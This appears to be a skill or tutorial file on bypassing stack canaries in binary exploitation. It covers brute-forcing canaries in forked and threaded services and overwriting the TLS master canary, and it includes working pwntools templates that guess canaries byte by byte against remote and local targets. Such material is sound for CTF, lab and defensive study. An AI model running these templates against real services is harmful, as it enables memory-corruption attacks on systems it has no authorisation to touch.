Stack Canary Bypass Techniques
This skill helps you bypass stack canary protections in binary exploitation scenarios. Stack canaries are security tokens placed on the stack to detect buffer overflows before they can corrupt the return address.
When Canary Bypass is Possible
Forked Processes (Network Services)
Best case scenario: The binary forks a child process for each connection. Every connection gets the same canary value, making brute-force feasible.
How to detect:
- Network service that spawns per-connection
- Same canary reused across connections
checksecmight miss statically compiled binaries - look for canary save/check patterns in disassembly
Threaded Processes
Threads share the same canary token from the parent process. If the binary spawns a new thread per attack, you can brute-force the canary.
Advanced: Buffer overflow in a threaded function can modify the master canary in TLS (Thread Local Storage), making the check useless since both canaries match (even if modified).
Brute-Force Canary Method
The core technique: guess one byte at a time, checking if the program crashes or continues normally.
Detection Methods
- Response-based: Check if server sends expected output (correct byte) vs crashes (wrong byte)
- Try/except: Catch connection errors when canary check fails
- Timing: Correct bytes may have different response times
64-bit Brute-Force Template
from pwn import *
def brute_force_canary_64(target_host, target_port, offset, trigger_marker):
"""
Brute-force 8-byte canary on forked network service
Args:
target_host: Hostname or IP
target_port: Port number
offset: Bytes to fill before canary
trigger_marker: String that appears when canary is correct
"""
canary = b""
base = b"A" * offset
for byte_pos in range(8):
for guess in range(256):
try:
r = remote(target_host, target_port)
# Send payload with current guess
payload = base + canary + bytes([guess])
r.send(payload)
# Check if canary was correct
response = r.recv()
if trigger_marker.encode() in response:
print(f"Byte {byte_pos}: 0x{guess:02x}")
canary += bytes([guess])
break
else:
r.close()
except:
r.close()
return canary
# Usage
CANARY = brute_force_canary_64("localhost", 8788, 1176, "SOME OUTPUT")
print(f"Canary: {CANARY.hex()}")
32-bit Brute-Force Template
from pwn import *
def brute_force_canary_32(binary_path, offset, trigger_marker):
"""
Brute-force 4-byte canary on local process
Args:
binary_path: Path to target binary
offset: Bytes to fill before canary
trigger_marker: String that appears when canary is correct
"""
known_canary = b""
for byte_pos in range(4):
for guess in range(256):
target = process(binary_path)
# Send payload with current guess
payload = b"A" * offset + known_canary + bytes([guess])
target.send(payload)
# Check if canary was correct
output = target.recvuntil(b"exit.", timeout=2)
if trigger_marker.encode() in output:
print(f"Byte {byte_pos}: 0x{guess:02x}")
known_canary += bytes([guess])
break
target.close()
return known_canary
# Usage
canary = brute_force_canary_32("./feedme", 0x20, "YUM")
log.info(f"Canary: {canary.hex()}")
TLS Canary Manipulation (Advanced)
When threads are involved, the canary is stored in TLS (Thread Local Storage), typically allocated via mmap. A buffer overflow in a thread's stack can potentially reach and modify the TLS canary.
Key insight: If you can overflow into TLS and modify the master canary, the check becomes useless because both the stack canary and TLS canary will match (even though both are wrong).
Requirements:
- Threaded binary
- Buffer overflow in thread function
- Reachable TLS memory from thread stack
Common Patterns
Network Service (Forked)
# Connect, send, check response, repeat per byte
for byte in range(8):
for guess in range(256):
r = remote(host, port)
r.send(payload + guess)
if "success" in r.recv():
canary += guess
break
Local Process
# Spawn process, send, check output, repeat per byte
for byte in range(4): # 32-bit
for guess in range(256):
p = process("./binary")
p.send(payload + guess)
if "success" in p.recv():
canary += guess
break
Debugging Tips
- Verify canary protection: Look for
__stack_chk_failin binary or canary save/check in disassembly - Check for PIE: If PIE is enabled, you'll need to leak addresses first
- Test connection: Ensure your detection method works before brute-forcing
- Rate limiting: Add delays if the service rate-limits connections
- Timeout handling: Set appropriate timeouts to detect crashes vs slow responses
References
Next Steps
After bypassing the canary:
- Check other protections: NX, PIE, RELRO
- Plan ROP chain: If NX is enabled, you'll need ROP gadgets
- Address leaks: If PIE is enabled, leak addresses first
- Final payload: Combine canary bypass with your actual exploit